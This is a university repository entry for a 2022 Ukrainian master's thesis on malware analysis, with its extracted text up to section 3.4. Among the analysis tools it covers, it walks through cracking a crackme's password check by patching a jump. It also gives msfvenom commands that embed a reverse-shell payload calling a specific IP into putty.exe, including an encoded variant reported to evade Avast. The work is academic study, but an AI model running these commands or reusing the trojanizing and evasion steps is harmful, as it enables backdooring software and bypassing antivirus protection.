Please use this identifier to cite or link to this item: https://er.chdtu.edu.ua/handle/ChSTU/9420
Title: Дослідження технологій захисту та аналіз шкідливого програмного забезпечення у системах обміну інформацією
Authors: ЛАВДАНСЬКИЙ, Артем
ПИЛИПЕНКО, Олег
Issue Date: 2022
Abstract: Нинішній рівень цифровізації передбачає стрімкий розвиток інформаційних технологій, які керують, наприклад, об’єктами критичної інфраструктури. Програмне забезпечення, яке автоматизує процеси на подібних об’єктах має бути максимально захищеним, оскільки некоректна робота такого програмного забезпечення може призвести до техногенних катастроф, які не можна виправити з плином часу. Будь-яке програмне забезпечення, незалежно від того, яке його практичне призначення, повинно розроблятись комплексно з урахуванням можливих його вразливих місць. Для забезпечення максимального захисту різних мережевих об’єктів нині існує низка програмних рішень, за допомогою яких можна досліджувати усі вхідні потоки даних через локальну мережу. Такий принцип дає можливість відслідковувати шкідливе програмне забезпечення та не пропустити його через мережу. У зв’язку з цим, завдання захисту програмного забезпечення об’єктів критичної інфраструктури від мережевого шкідливого програмного забезпечення відіграє ключову роль, особливо у період війни в країні. Метою кваліфікаційної роботи магістра є аналіз сучасних технік динамічного й статичного аналізу шкідливого програмного забезпечення, а також розроблення відповідного програмного забезпечення мовами Python, C/C++ з метою виявлення слабких місць, якими може скористуватись зловмисник. Об'єктом дослідження є шкідливе програмне забезпечення, яке поширюється в сучасних інформаційно-комунікаційних системах за допомогою локальних мереж. Предметом дослідження є методи, програмні засоби та технології ефективного дослідження шкідливого програмного забезпечення на основі принципів машинного коду. 5 Наукова новизна одержаних результатів полягає у формуванні моделей взаємодії з шкідливим програмним забезпеченням, що дозволяє виконати розроблення програмного коду, за допомогою якого виконується процедура деобфускації програмного забезпечення, яке було обфусковано з використанням сучасних технологій мови програмування Python. Практичне значеннярозроблення програмного коду мовами Pythonта C/C++ для динамічного дослідження шкідливого програмного забезпечення в локальних мережах і у персональних комп’ютерних системах та в інформаційно-комунікаційних системах загалом, а також вивчити й дослідити прикладні програмні забезпечення обфускації шкідливого програмного забезпечення, яке призводить до зменшення ефективності аналізу такого забезпечення сучасними антивірусними системами. Для досягнення поставленої мети необхідно виконати наступні практичні задачі:  проаналізуватисучасніметоди статичного й динамічногоаналізуоб’єктівпоширенняшкідливогопрограмногозабезпеч ення для операційних систем Windows та Linux;  проаналізувати й дослідити роботу відомих технік, програмних засобів статичного й динамічного аналізу шкідливого програмного забезпечення в локальних мережах;  дослідити деякі зразки зі шкідливим програмним кодом різного походження та спрямування, яке базується на shell-кодах, під цільовою операційною системою Windows;  дослідити зразки зі шкідливим програмним кодом різного походження та спрямування у середовищі динамічного аналізу роботи програмного забезпечення CuckooSandBox під OS сімейства Linux (на прикладі KaliLinux), за допомогою якого виконується ефективний динамічний аналіз такого програмного забезпечення;  дослідитисучасні актуальні методи перехвату класичних функцій WinAPI (на прикладі MessageBoxA) з використанням технології LIEF; 6  вивчити методи інтеграції (доставки) shell-коду у програмне забезпечення з метою проникнення у відповідні (цільові) ОС;  використати допоміжні та проміжні бібліотек інтерпретатора мови програмування Python для виконання практичних завдань доставки шкідливого програмного забезпечення. Структура кваліфікаційної роботи магістра. Основний зміст роботи викладено на 83 сторінках. Робота містить: вступ, чотири розділи, висновки, список скорочень та позначень, список джерел та посилань.
URI: https://er.chdtu.edu.ua/handle/ChSTU/9420
Appears in Collections:123 Комп’ютерна інженерія (Комп'ютерні системи та мережі)

Files in This Item:
File Description SizeFormat 
РОБОТА_Пилипенко-merged.pdf
  Restricted Access
7.06 MBAdobe PDFView/Open Request a copy


Items in DSpace are protected by copyright, with all rights reserved, unless otherwise indicated.

Extracted text
МІНІСТЕРСТВО ОСВІТИ І НАУКИ УКРАЇНИ
ЧЕРКАСЬКИЙ ДЕРЖАВНИЙ ТЕХНОЛОГІЧНИЙ УНІВЕРСИТЕТ
ФАКУЛЬТЕТ ІНФОРМАЦІЙНИХ ТЕХНОЛОГІЙ І СИСТЕМ
КАФЕДРА ІНФОРМАЦІЙНОЇ БЕЗПЕКИТА КОМП’ЮТЕРНОЇ ІНЖЕНЕРІЇ
Пояснювальна записка
до кваліфікаційної роботи магістра
на тему: «Дослідження технологій захисту та аналіз
шкідливого програмного забезпечення у системах
обміну інформацією»
ЧДТУ.224197.002 ПЗ
Виконав: студент 2 курсу, групи МКМ-2105
спеціальності 123 – Комп’ютерна інженерія
за освітньою програмою – Комп’ютерні системи
та мережі
Олег ПИЛИПЕНКО
Керівник
кандидат технічних наук, доцент
Артем ЛАВДАНСЬКИЙ
Н. контроль
Світлана ГРЕСЬКО
Рецензент
начальник відділу персоналу Черкаського
інституту пожежної безпеки ім. Героїв
Чорнобиля НУЦЗ України, к.т.н., доцент
Віталій ЗАЖОМА
«ЗАХИСТ ДОЗВОЛЯЮ»
Завідувач кафедри ІБ та КІ
д.т.н., професор ______ Володимир РУДНИЦЬКИЙ
Черкаси 2022 року
2
ЗМІСТ
ВСТУП......................................................................................................................4
РОЗДІЛ 1 СУЧАСНІ ПРОГРАМНІ ЗАСОБИ АНАЛІЗУ ШКІДЛИВОГО
ПРОГРАМНОГО ЗАБЕЗПЕЧЕННЯ......................................................................7
1.1 Статичний аналіз коду на основі IDA Pro.................................................7
1.2 Динамічний аналіз програмного забезпечення......................................14
1.2.1 Засіб x64dbg.....................................................................................14
1.2.2 Засіб WinDbg...................................................................................15
1.3 Інструментальний динамічний аналіз.....................................................15
Висновки до першого розділу........................................................................16
РОЗДІЛ 2 ТЕХНОЛОГІЇ АВТОМАТИЗОВАНОГО ДОСЛІДЖЕННЯ
МЕРЕЖЕВОГО ПРОГРАМНОГО ЗАБЕЗПЕЧЕННЯ.......................................17
2.1 Перехоплення потоку виконання.............................................................17
2.2 Динамічне бінарне інструментування.....................................................18
2.3 Сигнатурний аналіз...................................................................................18
Висновки до другого розділу.........................................................................20
РОЗДІЛ 3 АНАЛІЗ І ТЕСТУВАННЯ ЗАСОБІВ СТАТИЧНОГО АНАЛІЗУ
ШКІДЛИВОГО ПРОГРАМНОГО ЗАБЕЗПЕЧЕННЯ........................................21
3.1 Встановлення необхідних компонент для роботи у Kali Linux............21
3.2 Створення першого шкідливого зразка...................................................23
3.3 Створення другого шкідливого зразка....................................................26
3.4 Аналіз та реалізація статичного обфускатора........................................28
3.4.1 Реалізація деобфускатора для x64/xor_dynamic...........................30
3.4.2 Реалізація деобфускатора для x64/xor...........................................35
3.4.3 Реалізація деобфускатора для x86/countdown..............................41
3.5 Реалізація динамічного деобфускатора...................................................45
3.5.1 Реалізація деобфускатора для x64/xor_dynamic...........................45
3.5.2 Реалізація деобфускатора для x64/xor...........................................47
3.5.3 Реалізація деобфускатора для x86/countdown..............................48
Висновки до третього розділу..............................................................................50
3
РОЗДІЛ 4 ДИНАМІЧНИЙ АНАЛІЗ ПРИ ДОСЛІДЖЕННІ ШКІДЛИВОГО
ПРОГРАМНОГО ЗАБЕЗПЕЧЕННЯ....................................................................52
4.1 Реалізація детектування середовища аналізу мовою C/C++.................52
4.2 Заміна повідомлення на запуск довільного shell-коду .......................... 53
4.3 Аналіз механізму передачі керування на прикладі putty.exe................58
4.4 Дослідження методів інтеграції shell-коду та модифікації потоку
виконання у Shellter...................................................................................62
4.5 Збірка зразка засобу доставки шкідливого програмного забезпечення,
його модифікація з метою обходу систем захисту.................................66
Висновки до четвертого розділу..........................................................................79
ВИСНОВКИ...........................................................................................................80
ПЕРЕЛІК СКОРОЧЕНЬ ТА УМОВНИХ ПОЗНАЧЕНЬ...................................81
СПИСОК ВИКОРИСТАНИХ ДЖЕРЕЛ............................................................. 82
4
ВСТУП
Нинішній рівень цифровізації передбачає стрімкий розвиток
інформаційних технологій, які керують, наприклад, об’єктами критичної
інфраструктури. Програмне забезпечення, яке автоматизує процеси на
подібних об’єктах має бути максимально захищеним, оскільки некоректна
робота такого програмного забезпечення може призвести до техногенних
катастроф, які не можна виправити з плином часу. Будь-яке програмне
забезпечення, незалежно від того, яке його практичне призначення, повинно
розроблятись комплексно з урахуванням можливих його вразливих місць.
Для забезпечення максимального захисту різних мережевих об’єктів
нині існує низка програмних рішень, за допомогою яких можна досліджувати
усі вхідні потоки даних через локальну мережу. Такий принцип дає
можливість відслідковувати шкідливе програмне забезпечення та не
пропустити його через мережу.
У зв’язку з цим, завдання захисту програмного забезпечення об’єктів
критичної інфраструктури від мережевого шкідливого програмного
забезпечення відіграє ключову роль, особливо у період війни в країні.
Метою кваліфікаційної роботи магістра є аналіз сучасних технік
динамічного й статичного аналізу шкідливого програмного забезпечення, а
також розроблення відповідного програмного забезпечення мовами Python,
C/C++ з метою виявлення слабких місць, якими може скористуватись
зловмисник.
Об'єктом дослідження є шкідливе програмне забезпечення, яке
поширюється в сучасних інформаційно-комунікаційних системах за
допомогою локальних мереж.
Предметом дослідження є методи, програмні засоби та технології
ефективного дослідження шкідливого програмного забезпечення на основі
принципів машинного коду.
5
Наукова новизна одержаних результатів полягає у формуванні
моделей взаємодії з шкідливим програмним забезпеченням, що дозволяє
виконати розроблення програмного коду, за допомогою якого виконується
процедура деобфускації програмного забезпечення, яке було обфусковано з
використанням сучасних технологій мови програмування Python.
Практичне значеннярозроблення програмного коду мовами Pythonта
C/C++ для динамічного дослідження шкідливого програмного забезпечення в
локальних мережах і у персональних комп’ютерних системах та в
інформаційно-комунікаційних системах загалом, а також вивчити й
дослідити прикладні програмні забезпечення обфускації шкідливого
програмного забезпечення, яке призводить до зменшення ефективності
аналізу такого забезпечення сучасними антивірусними системами.
Для досягнення поставленої мети необхідно виконати наступні
практичні задачі:
 проаналізуватисучасніметоди статичного й
динамічногоаналізуоб’єктівпоширенняшкідливогопрограмногозабезпеч
ення для операційних систем Windows та Linux;
 проаналізувати й дослідити роботу відомих технік, програмних засобів
статичного й динамічного аналізу шкідливого програмного
забезпечення в локальних мережах;
 дослідити деякі зразки зі шкідливим програмним кодом різного
походження та спрямування, яке базується на shell-кодах, під цільовою
операційною системою Windows;
 дослідити зразки зі шкідливим програмним кодом різного походження
та спрямування у середовищі динамічного аналізу роботи програмного
забезпечення CuckooSandBox під OS сімейства Linux (на прикладі
KaliLinux), за допомогою якого виконується ефективний динамічний
аналіз такого програмного забезпечення;
 дослідитисучасні актуальні методи перехвату класичних функцій
WinAPI (на прикладі MessageBoxA) з використанням технології LIEF;
6
 вивчити методи інтеграції (доставки) shell-коду у програмне
забезпечення з метою проникнення у відповідні (цільові) ОС;
 використати допоміжні та проміжні бібліотек інтерпретатора мови
програмування Python для виконання практичних завдань доставки
шкідливого програмного забезпечення.
Структура кваліфікаційної роботи магістра. Основний зміст роботи
викладено на 83 сторінках. Робота містить: вступ, чотири розділи, висновки,
список скорочень та позначень, список джерел та посилань.
7
РОЗДІЛ 1СУЧАСНІ ПРОГРАМНІ ЗАСОБИ АНАЛІЗУ
ШКІДЛИВОГО ПРОГРАМНОГО ЗАБЕЗПЕЧЕННЯ
1.1 Статичний аналіз коду на основі IDAPro
Hex-RaysIDAPro — найпотужніший і популярний комерційний
дизассемблер / дебагер [2, 3]. його використовують реверс-інженери,
аналітики шкідливого програмного забезпечення (ШПЗ) та дослідники
вразливостей. Програмне середовище IDA може працювати на різних
платформах (Windows, Linux і macOS) і підтримує аналіз різних форматів
файлів, включаючи формати PE/ELF/Macho-O. Інтерфейс IDAProпоказаний
на рис. 1.1.
Рисунок 1.1 – Інтерфейс програми IDAPro
Окрім комерційної версії, IDA поширюється у двох інших версіях:
демо-версія IDA (оцінювальна версія) та версія IDAFreeware; обидві ці версії
мають певні обмеження. Ви можете завантажити безкоштовну версію IDA
8
для некомерційного використання з джерела [3]. На момент написання цієї
книги безкоштовна розповсюджена версія IDA 7.0; він дозволяє розібрати як
32-розрядну, так і 64-розрядну двійкову версію Windows, але ви не зможете
налагодити двійковий файл за допомогою безкоштовної версії.
Теорія дизасемблювання
Мови першого покоління. Це найнижча форма мови, яка зазвичай
складається з одиниць і нулів або деякої скороченої форми,
наприклад,шістнадцяткової, і читається лише бінарними кодами. На цьому
рівні все заплутано, оскільки часто важко відрізнити дані від інструкцій, все
виглядає майже однаково. Мови першого покоління також можуть
називатися машинними мовами, а в деяких випадках — машинними мовами
байт-коду, які програми часто називають двійковими.
Мови другого покоління.Мови другого покоління, які також називають
мовами асемблера, є простим пошуком у таблиці, а не машинною мовою, і
зазвичай відображають конкретні шаблони бітів або коди операцій у короткі,
але запам’ятовуються послідовності символів, які називаються
мнемонічними. Іноді ці мнемоніки насправді допомагають програмістам
запам’ятати інструкції, з якими вони пов’язані.
Асемблер– це інструмент, який використовується програмістами для
перекладу своїх програм асемблера на машинну мову, придатну для
виконання.
Мови третього покоління. Ці мови роблять ще один крок до природних
мов, вводячи ключові слова та конструкції, які програмісти використовують
як будівельні блоки для своїх програм. Мови третього покоління, як правило,
не залежать від платформи, але програми, написані з їх використанням,
можуть залежати від платформи в результаті використання функцій,
унікальних для конкретної операційної системи. Приклади, які часто
цитуються, включають FORTRAN, COBOL, C і Java. Програмісти зазвичай
використовують компілятори для перекладу своїх програм на мову асемблера
9
або повністю на машинну мову (або якийсь приблизний еквівалент,
наприклад байт-код).
Мови четвертого покоління. Вони існують, але прямого відношення до
даної кваліфікаційної роботи не мають.
Для прикладу роботи даного програмного розглянемо такий приклад.
Зламати систему парольного захисту у програму Crack_me.exe. Дослідити
надану програму, що володіє захистом від свого несанкціонованого
використання і зламати захист різними способами.
У процесі виконання кваліфікаційної роботи магістра необхідно:
1. Виділити в досліджуваній програмі ділянку коду, що виконує
функцію прийняття рішення про коректність введеного пароля. Визначити
файл або файли, в яких зберігається зашифрований пароль.
2. Здійснити блокування встановленого захисту, реалізувавши
відключення захисного механізму, шляхом модифікації функції прийняття
рішення про коректність введеного пароля.
3. Виділити в програмі ділянку коду, відповідальну за формування
коректного пароля, відповідного введеному імені користувача. Досліджувати
даний код і формально записати алгоритм формування коректного пароля.
4. Здійснити злом встановленого захисту, використовуючи деякий
користувальницький ідентифікатор (ім’я користувача) і відповідний йому
коректний пароль, сформований за знайденим в п. 3 алгоритмом.
Завдання № 1. Визначення файлів з паролями для захисту програмного
засобу. Виділити в досліджуваній програмі ділянку коду, що виконує
функцію прийняття рішення про коректність введеного пароля. Визначити
файл або файли, в яких зберігається зашифрований пароль.
10
Рисунок 1.2 – Початкова логікапрограми, яка
передбачаєперевіркукоректностіданихавторизаціїкористувачівсистеми
Для того, щоб виконати зміну основної логіки (рис. 1.2) авторизації
користувачів системи, потрібно змінити рядок
jz loc_4017914
на рядок
jnz loc_4017914
Логіка такої зміни передбачає обхід системи, який авторизує будь-якого
користувача з довільним логіном та паролем.Програмний код, що має вигляд:
pushoffsetaW ; "w"
pushoffsetaRegReg ; "reg.reg"
call sub_401E40
movebx, eax
addesp, 8
testebx, ebx
jz loc_4018D4
передбачає створення файлу у тій же теці, що вхідний виконуваний файл з
назвою reg.reg, у якому містяться дані про логік користувача та
зашифрований пароль, який відповідає даному користувачеві системи.
11
Рисунок1.3 – Створений файл reg.reg у випадкуавторизаціїкористувача у
данійсистемі Crack_me_Win7.exe
На рис. 1.4–1.6 показано, які саме зберігаються дані про користувача у
системі Crack_me_Win7.exe.
Рисунок 1.4 – Результат збереженняданих з пустим логіном та випадковим
паролем (зашифрованим)
Тобто файл, який міститься у тій же теці, що і виконуваний файл
системи авторизації шифрує лише парольні дані користувачів. Логін також
користувача – перший рядок файлу, а шифрований пароль – другий рядок
самого файлу.
Завдання № 2. Відключення паролю для захисту програмного засобу.
Здійснити блокування встановленого захисту, реалізувавши відключення
захисного механізму, шляхом модифікації функції прийняття рішення про
коректність введеного пароля
Для виконання цього завдання, потрібно змінили логіку роботи
системи авторизації користувачів таким чином, як показано на рис. 6.
12
Рисунок 1.5 – Виділений рядок для
проведеннязмінилогікипрограмногозасобуавторизаціїкористувачівсистеми
Як вже було зазначено, виділений червоним прямокутником рядок
потрібно замінити на рядок
jnz loc_4017914
Таким чином отримуємо авторизацію осіб, які навіть не зареєстровані у
даній системи з будь-яким логіном та паролем.
Завдання № 3. Дослідження програмного коду програмного засобу.
Виділити в програмі ділянку коду, відповідальну за формування коректного
пароля, відповідного введеному імені користувача. Досліджувати даний код і
формально записати алгоритм формування коректного
пароля.Використовуючи код програми, відповідальний за формування
правильного пароля, створити генератор паролів.
Фрагменти програмного коду, які наведені нижче відповідають за
перевірку паролів, які відповідають конкретним користувачам системи:
movecx, [ebp+phkResult]
subeax, edx
inceax
pusheax ; cbData
pushedi ; lpData
13
push 2 ; dwType
push 0 ; Reserved
pushoffsetaPerson ; "Person"
pushecx ; hKey
callds:RegSetValueExA
testeax, eax
jzshort loc_401876
loc_401876:
movzxedx, byteptr [esi]
movzxeax, byteptr [esi+1]
movzxecx, byteptr [esi+2]
not dl
notal
mov [esi], dl
movzxedx, byteptr [esi+3]
mov [esi+1], al
movzxeax, byteptr [esi+4]
not cl
not dl
notal
mov [esi+2], cl
movzxecx, byteptr [esi+5]
mov [esi+3], dl
movzxedx, byteptr [esi+6]
mov [esi+4], al
movzxeax, byteptr [esi+7]
pushesi
pushedi
not cl
not dl
notal
pushoffsetaSS ; "%s\n%s\n"
pushebx
mov [esi+5], cl
mov [esi+6], dl
mov [esi+7], al
call sub_401E57
pushebx
call sub_401BF6
addesp, 14h
jmpshort loc_4018F7
Останній фрагмент програмного коду також передбачає збереження
даних про авторизацію у відповідний файл reg.reg, про який вже було згадано
вище.
Завдання № 4. Злом встановленого засобу з використанням імені
користувача. Здійснити злом встановленого захисту, використовуючи деякий
14
користувальницький ідентифікатор (ім’я користувача) і відповідний йому
коректний пароль, сформований за знайденим в п. 3 алгоритмом.
1.2 Динамічний аналіз програмного забезпечення
За відсутності вихідного коду програміст, який виконує реверс
інжиніринг програмного забезпечення, має дуже обмежений набір
можливостей для виявлення того, як саме поводиться ШПЗ. Двома
основними методами аналізу зловмисного програмного забезпечення є
динамічний аналіз (ДА і статичний аналіз (СА). ДА передбачає можливість
запуску зловмисного програмного забезпечення в ретельно контрольованому
середовищі (пісочниці), записуючи кожен спостережуваний аспект його
поведінки за допомогою будь-якої кількості утиліт системного
інструментарію. На відміну від цього, СА намагається зрозуміти поведінку
програми, просто прочитавши програмний код, який, у випадку зловмисного
програмного забезпечення, зазвичай складається зі списку розбирання.
1.2.1 Засібx64dbg
X64dbg – це налагоджувач x64/x32, який зараз знаходиться в активній
розробці.Налагоджувач (наразі) складається з трьох частин:
– DBG;
– графічний інтерфейс користувача;
– міст.
DBG – це частина налагоджувача, яка виконує налагодження. DBG
обробляє налагодження (за допомогою TitanEngine) і надає дані для GUI. GUI
– це графічна частина налагоджувача. Він створений на основі Qt і
забезпечує взаємодію з користувачем.Bridge — це комунікаційна бібліотека
для частини DBG та GUI (і, можливо, у майбутньому для інших частин).
15
Міст можевикористовувати для роботи над новими функціями без оновлення
коду інших частин.
1.2.2 ЗасібWinDbg
WinDbg — це налагоджувач режимів ядра та режиму користувача, який
включено до інструментів налагодження для Windows. WinDbg дозволяє
налагоджувати 32/64 бітові програми рівня користувача, драйвера, може бути
використаний для аналізу аварійних дампів пам'яті, WinDbg підтримує
автоматичне завантаження налагоджувальних символів, є вбудована
скриптова мова для автоматизації процесу налагодження, завантажити
відладчик можна тут.
1.3 Інструментальнийдинамічнийаналіз
Для сучасного дослідження ШПЗ використовують модуль
WinAppDbgpython. Він дозволяє розробникам швидко кодувати
інструментальні сценарії на Python у середовищі Windows. Модуль
використовує ctypes для обгортання багатьох викликів API Win32,
пов’язаних із налагодженням, і надає потужний рівень абстракції для
маніпулювання потоками, бібліотеками та процесами, підключення вашого
сценарію як налагоджувача, трасування виконання, перехоплення викликів
API, обробки подій у вашому налагодженні та встановлення точок зупинки
різні види (код, обладнання та пам'ять). Крім того, він взагалі не має рідного
коду, що полегшує його підтримку або зміну, ніж інші налагоджувачі у
Windows.
Цільовою аудиторією є інженери з контролю якості та аудитори з
безпеки програмного забезпечення, які бажають перевірити або впорядкувати
додатки Windows за допомогою швидкокодованих сценаріїв Python. Кілька
16
готових до використання інструментів поставляються і можуть бути
використані для цих цілей.
Поточні функції також включають розбирання власного коду x86/x64,
одночасне налагодження кількох процесів і створення детального журналу
збоїв додатків, корисного для фаззингу та автоматизованого тестування.
Даний програмний модуль та його функції є легкодоступними і широко
використовуються в ході аналізу ШПЗ.
Висновки до першого розділу
У ході дослідження технологій зворотного розроблення ШПЗ показано,
як за допомогою відомих інструментів аналізу виконується модифікація
програмного забезпечення. Тим самим підтверджується факт того, що не
можна просто виконувати звичайний парольний захист програмного
забезпечення, оскільки на основі динамічного та / або статичного аналізу
програмного забезпечення можна визначити залежності, які містять доступ
до парольної автентифікації користувачів у тій або іншій системі.
17
РОЗДІЛ 2ТЕХНОЛОГІЇ АВТОМАТИЗОВАНОГО ДОСЛІДЖЕННЯ
МЕРЕЖЕВОГО ПРОГРАМНОГО ЗАБЕЗПЕЧЕННЯ
2.1 Перехоплення потоку виконання
Зловмисне програмне забезпечення та агенти EDR зазвичай
перехоплюють функції API Win32, щоб вони могли змінювати та/або
відстежувати виклики, зроблені до цих API. У випадку зловмисного
програмного забезпечення зловмиснику може бути вигідно підхопити
функції, які обробляють облікові дані (або іншу конфіденційну інформацію),
щоб вони могли отримати облікові дані, введені користувачем. Так само EDR
часто підхоплюють API, які зазвичай зловживають зловмисники (прикладом
API є VirtualAllocEx), щоб вони могли бачити, коли процес використовує
API, і який вміст передається в API з метою виявлення шкідлива діяльність.
Незважаючи на те, що існують більш стабільні та стандартизовані
методи реалізації підключення функцій (такі як Microsoft Detours), все одно
цінним є досвід вивчення того, як ми можемо реалізувати підключення, не
покладаючись на бібліотеки, які виконують велику частину важкої роботи.
Вбудована функція – це процес переспрямування потоку виконання від
легітимної функції, яку було викликано, виконання деякого коду
«захоплення», а потім передача виконання назад легітимній функції, щоб
виконання продовжувалося як нормально. Цікаві речі відбуваються в коді
«перехоплення», де зловмисник може змінити інформацію, що надсилається
до функції, або агент EDR може перевірити та зареєструвати дані, які
передаються до функції.
18
2.2 Динамічне бінарне інструментування
Frida, безкоштовне програмне забезпечення, яке дозволяє розробникам,
реверсивним інженерам і дослідникам «підключатися» до заблокованого або
власного програмного забезпечення «чорної скриньки», випустило нову
версію 12.1 інструменту, який швидко стає культовим — із «масовими
змінами під капотом».
2.3 Сигнатурний аналіз
Багато продуктів безпеки покладаються на підписи файлів для
виявлення шкідливих програм та інших шкідливих файлів. Техніка
передбачає читання або сканування файлу та тестування на відповідність
файлу набору заздалегідь визначених атрибутів. Ці атрибути відомі як
«сигнатура» зловмисного програмного забезпечення. Сигнатури зловмисного
програмного забезпечення, які можуть мати різні формати, створюються
постачальниками та дослідниками безпеки. Набори підписів збираються в
базах даних, деякі з яких можуть бути загальнодоступними та загальними,
тоді як інші містяться у власних базах даних, призначених виключно для
певного постачальника.Деякі рішення безпеки повністю покладаються на цю
технологію для цілей виявлення, хоча в цьому є різні недоліки. У цій
публікації ми дослідимо, як створюються сигнатури файлів зловмисного
програмного забезпечення, пояснимо, як вони працюють, і обговоримо їхні
переваги та недоліки.
Як створюються сигнатури шкідливих програм?Щоб створити підпис
для певного файлу зловмисного програмного забезпечення або сімейства
файлів, аналітику безпеки потрібен один або кілька (чим більше, тим краще)
зразків файлу для роботи. Такі зразки можуть бути зібрані «в дикій природі»
із заражених комп’ютерів, отримані з темної мережі та інших місць, де
автори зловмисного програмного забезпечення продають свою роботу, або зі
19
спільних сховищ зловмисного програмного забезпечення, де дослідники
безпеки (а в деяких випадках і громадськість) можуть ділитися відомими
файлами зловмисного програмного забезпечення. Деякі популярні сховища
зловмисного програмного забезпечення, доступні фахівцям із безпеки,
включають VirusTotal, Malpedia та MalShare.
MalShare є одним із кількох доступних для дослідників сховищ
шкідливих програм, коли постачальник має набір або «корпус» файлів для
роботи, він починає перевіряти файли на загальні характеристики. Ці
характеристики можуть включати такі фактори, як розмір файлу, імпортовані
чи експортовані функції, байти даних у певних позиціях («зміщення»), хеші
розділів або всього файлу, рядки для друку тощо.
Процес створення сигнатур можна автоматизувати, але спочатку це
часто виконується вручну спеціалізованими аналітиками зловмисного
програмного забезпечення та реверсивними розробниками, особливо коли
виявляється зовсім нове сімейство зловмисного програмного
забезпечення.Хоча існує багато різних форматів для створення підписів,
одним із найпопулярніших форматів, який широко використовується
сьогодні, є YARA, який дозволяє аналітикам зловмисного програмного
забезпечення створювати підписи на основі текстових і двійкових шаблонів.
Наприклад, на наступному зображенні ліворуч показано фрагмент коду
відомого сімейства зловмисних програм, розповсюдженого загрозою
APTOceanLotus, а праворуч – підпис YARA для його виявлення.
Які переваги виявлення на основі сигнатур? Виявлення на основі
сигнатур пропонує низку переваг перед простим зіставленням хешу файлу.
По-перше, за допомогою сигнатури, яка відповідає загальним рисам зразків,
аналітики зловмисного програмного забезпечення можуть націлитися на цілі
сімейства зловмисного програмного забезпечення, а не лише на один зразок.
По-друге, сигнатури дуже універсальні, і їх можна використовувати
для виявлення багатьох типів файлових шкідливих програм. Підписи можуть
легко включати або виключати різні типи файлів, будь то сценарії оболонки,
20
файли python, файли Windows PE, файли Linux ELF або файли macOSMach-
O. Та сама база даних зловмисного програмного забезпечення та навіть те
саме правило, якщо воно було доречним, потенційно може сканувати та
зіставляти сигнатури майже будь-якого типу файлу.
По-третє, такі формати сигнатур, як YARA, є дуже потужними та
пропонують аналітикам зловмисного програмного забезпечення широкий
спектр логіки, за допомогою якої можна визначити зловмисну поведінку, а
також відносно простий формат, який легко написати та протестувати. Крім
того, оскільки підписи є текстовими, одна база даних може містити багато
тисяч, навіть мільйони підписів, сама по собі не будучи надмірно великою.
Висновки до другого розділу
Для повного аналізу ШПЗ використовують різні підходи. Іноді
трапляється так, що одного підходу не вистачає для формування повної
картини про роботу того або іншого ШПЗ. Більшість з описаних у даному
розділі роботи методів і технологій передбачає динамічний аналіз
програмного забезпечення з можливістю його модифікації, перехоплення
роботи функцій. Все це виконується на основі бінарного підходу. Для більш
глибокого аналізу мережевого програмного забезпечення використовують
сигнатурний аналіз. Сигнатурний аналіз працює за принципом сигнатурного
аналізу в сучасних антивірусних програмних засобах.
21
РОЗДІЛ 3АНАЛІЗ І ТЕСТУВАННЯ ЗАСОБІВСТАТИЧНОГО АНАЛІЗУ
ШКІДЛИВОГО ПРОГРАМНОГО ЗАБЕЗПЕЧЕННЯ
3.1 Встановлення необхідних компонент для роботи у KaliLinux
Для формування корисного навантаження необхідно завантажити
putty.exe. Процедура завантаження putty показана на рис. 3.1.
Рисунок 3.1 – Процедура завантаження на putty.exe
Результат завантаження putty.exe показана на рис. 3.2.
Рисунок 3.2 – Результат завантаженняputty.exe у домашнюдиректорію
користувача “Oleh”
22
Основні властивості завантаженого файлу putty.exe показано на рис. 3.3
(тип файлу, дата завантаження тощо) та на рис. 3.4 (права доступу до даного
файлу користувачам операційної системи KaliLinux).
Рисунок 3.3 – Основнівідомості про
формувальниккорисногонавантаженняputty.exe, зокрема, тип файлу, дата
завантаження
Рисунок 3.4 – Основнівідомості про
формувальниккорисногонавантаженняputty.exe, зокрема, права доступу до
даного файлу
Також для виконання даного практичного завдання до класичних та
вже встановлених елементів дослідження програмного коду та програмного
23
забезпечення загалом потрібно встановити додаткові компоненти, такі як
ncat:
sudoapt-getinstallncat
Рисунок 3.5 – Результат встановленняncat на операційну систему Kali Linux
Після встановлення необхідних компонент потрібно створити два
зразки шкідливого програмного коду (ШПК), на прикладі яких буде показано
результати їх детектування сучасними операційними системами сімейства
Windows (x86, x64) [11, 12].
3.2 Створенняпершогошкідливогозразка
Нижче наведена процедура створення першого тестового зразка. Для
цього виконана наступна команда:
┌──(oleh㉿kali)-[~]
└─$ msfvenom -p windows/shell_reverse_tcplhost=176.67.100.5
lport=1269 -f exe -x putty.exe -o sample1.exe
У результаті виконання команди маємо такий результат у консолі
KaliLinux:
Payloadsize: 324 bytes
Finalsizeofexe file: 495616 bytes
Savedas: sample1.exe
24
У результаті виконання команди шкідливий зразок було збережено під
назвою «sample1.exe» (рис. 3.6). Також нижче показано основні властивості
створеного шкідливого зразка, який «підкидається операційній системі
Windows 10 x 64 з метою антивірусного аналізу (рис. 3.7–1.8).
25
Рисунок 3.6 – Результат створенняпершогошкідливогозразка з назвою «sample1.exe»
Рисунок 3.7 – Основнівластивостіствореногопершогошкідливогозразка з
назвою «sample1.exe»
Рисунок 3.8 – Основнівластивості прав доступу
створеногопершогошкідливогозразка з назвою «sample1.exe»
Нижче наведена процедура створення другого шкідливого зразка, яка
вже використовує обфускатор, за допомогою якого антивірусним системам
значно важче їх розпізнати, оскільки виконується процесу «перемішування
ШПК із залишенням його шкідливої функціональності.
27
3.3 Створення другого шкідливогозразка
Другий зразок створюємо з використанням команди такого виду [10]:
msfvenom -a x86 -p windows/shell_reverse_tcplhost=176.67.100.5
lport=1269 -f exe-only -x putty.exe -o sample2.exe -e
x86/xor_dynamic
Результат створення другого шкідливого зразка показано на рис. 3.9.
Відомості про основні властивості другого зразка показано на рис. 3.10 та
рис. 3.11.
Рисунок 3.9 – Результат формування другого шкідливогозразка,
щовикористовуєобфускатор x86/xor_dynamic
Рисунок 3.10 – Відомості про другийшкідливийзразок (sample2.exe),
щовикористовуєобфускатор x86/xor_dynamic
28
Рисунок 3.11 – Відомості про права доступу до шкідливогозразка
(sample2.exe), щовикористовуєобфускатор x86/xor_dynamic
Рисунок 3.12 – Збереження другого шкідливогозразка на віртуальніймашині
Windows 10 x64
29
Рисунок 3.13 – Перевірказразків на наявністьШПК на віртуальніймашині
Windows 10 x64
На рис. 3.13 показано, що перший зразок sample1.exe (знизу) не
пройшов перевірку та був заблокований AvastAntivirus. Другий же зразок
sample2.exe пройшов перевірку та не був розпізнаний як шкідливий
антивірусом.
3.4 Аналіз та реалізація статичного обфускатора
